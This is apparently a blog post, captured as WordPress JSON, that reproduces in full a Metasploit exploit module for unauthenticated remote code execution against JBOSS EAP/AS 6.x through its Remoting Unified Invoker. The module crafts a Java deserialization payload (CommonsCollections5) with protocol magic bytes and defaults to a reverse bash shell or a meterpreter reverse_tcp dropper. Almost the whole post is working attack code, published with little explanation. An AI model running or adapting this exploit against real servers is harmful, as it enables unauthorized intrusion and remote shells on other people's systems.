##
\n# This module requires Metasploit: https:\/\/metasploit.com\/download
\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
\n##<\/p>\n
class MetasploitModule < Msf::Exploit::Remote
\nRank = ExcellentRanking<\/p>\n
include Msf::Exploit::Remote::Tcp
\ninclude Msf::Exploit::CmdStager
\ninclude Msf::Exploit::JavaDeserialization
\nprepend Msf::Exploit::Remote::AutoCheck<\/p>\n
def initialize(info = {})
\nsuper(
\nupdate_info(
\ninfo,
\n‘Name’ => ‘JBOSS EAP\/AS Remoting Unified Invoker RCE’,
\n‘Description’ => %q{
\nAn unauthenticated attacker with network access to the JBOSS
\nEAP\/AS <= 6.x Remoting Unified Invoker interface can send a
\nserialized object to the interface to execute code on vulnerable hosts.
\n},
\n‘Author’ => [
\n‘Joao Matos <@joaomatosf>’, # Discovery
\n‘Marcio Almeida <@marcioalm>’, # PoC
\n‘Heyder Andrade <@HeyderAndrade>’ # msf module
\n],
\n‘References’ => [
\n[ ‘URL’, ‘https:\/\/s3.amazonaws.com\/files.joaomatosf.com\/slides\/alligator_slides.pdf’]\n],
\n‘DisclosureDate’ => ‘2019-12-11’,
\n‘License’ => MSF_LICENSE,
\n‘Platform’ => [‘unix’, ‘linux’],
\n‘Arch’ => [ARCH_CMD, ARCH_X86, ARCH_X64],
\n‘Privileged’ => false,
\n‘Targets’ => [
\n[
\n‘Unix Command’,
\n{
\n‘Platform’ => ‘unix’,
\n‘Arch’ => ARCH_CMD,
\n‘Type’ => :unix_cmd,
\n‘DefaultOptions’ => {
\n‘PAYLOAD’ => ‘cmd\/unix\/reverse_bash’
\n}
\n}
\n],
\n[
\n‘Linux Dropper’,
\n{
\n‘Platform’ => ‘linux’,
\n‘Arch’ => [ARCH_X86, ARCH_X64],
\n‘Type’ => :linux_dropper,
\n‘CmdStagerFlavor’ => [ ‘printf’ ],
\n‘DefaultOptions’ => {
\n‘PAYLOAD’ => ‘linux\/x64\/meterpreter\/reverse_tcp’
\n}
\n}
\n]\n],
\n‘DefaultTarget’ => 0,
\n‘Notes’ => {
\n‘Stability’ => [CRASH_SAFE],
\n‘Reliability’ => [REPEATABLE_SESSION],
\n‘SideEffects’ => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}
\n)
\n)
\nregister_options([
\nOpt::RPORT(4446)
\n])
\nend<\/p>\n
def handshake_data
\n# MAGIC BYTES JAVA SERIALIZATION OBJECT HEADER
\n# AC ED: STREAM_MAGIC. Specifies that this is a serialization protocol.
\n# 00 05: STREAM_VERSION. The serialization version.
\n[‘aced0005’].pack(‘H*’)
\nend<\/p>\n
def check
\nconnect
\nsock.put(handshake_data)
\ndata = sock.get_once(16)
\ndisconnect
\nreturn Exploit::CheckCode::Appears if data == handshake_data<\/p>\n
return Exploit::CheckCode::Safe
\nrescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e
\nprint_error(“Error to connect #{rhost}:#{rport} : ‘#{e.class}’ ‘#{e}'”)
\nreturn Exploit::CheckCode::Unknown
\nend<\/p>\n
# def exploit
\ndef execute_command(cmd, _opts = {})
\njava_payload = generate_java_deserialization_for_command(‘CommonsCollections5’, ‘bash’, cmd)
\n# MAGIC BYTES JBOSS PROTOCOL:
\n# 0x77: TC_BLOCKDATA
\n# 0x01: Length of TC_BLOCKDATA
\n# 0x16: Protocol version 22
\n# 0x79: TC_RESET
\nmagic_bytes = [‘77011679’].pack(‘H*’)
\npayload = magic_bytes + java_payload.byteslice(4..)
\nconnect
\nsock.put(handshake_data)
\nsock.get_once(16)
\nsock.put(payload)
\ndisconnect
\nprint_good(‘Successfully sent payload’)
\nrescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e
\nfail_with(Failure::Unreachable, e.message)
\nend<\/p>\n
def exploit
\nprint_status(“Executing #{target.name} for #{datastore[‘PAYLOAD’]}”)
\ncase target[‘Type’]\nwhen :unix_cmd
\nexecute_command(payload.encoded)
\nwhen :linux_dropper
\nexecute_cmdstager
\nend
\nend<\/p>\n
end<\/p>\n","protected":false},"excerpt":{"rendered":"
## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::JavaDeserialization prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, ‘Name’ => ‘JBOSS EAP\/AS Remoting Unified Invoker RCE’, ‘Description’ => %q{ An unauthenticated attacker with network access to the JBOSS EAP\/AS …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-26892","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26892","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=26892"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26892\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=26892"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=26892"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=26892"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}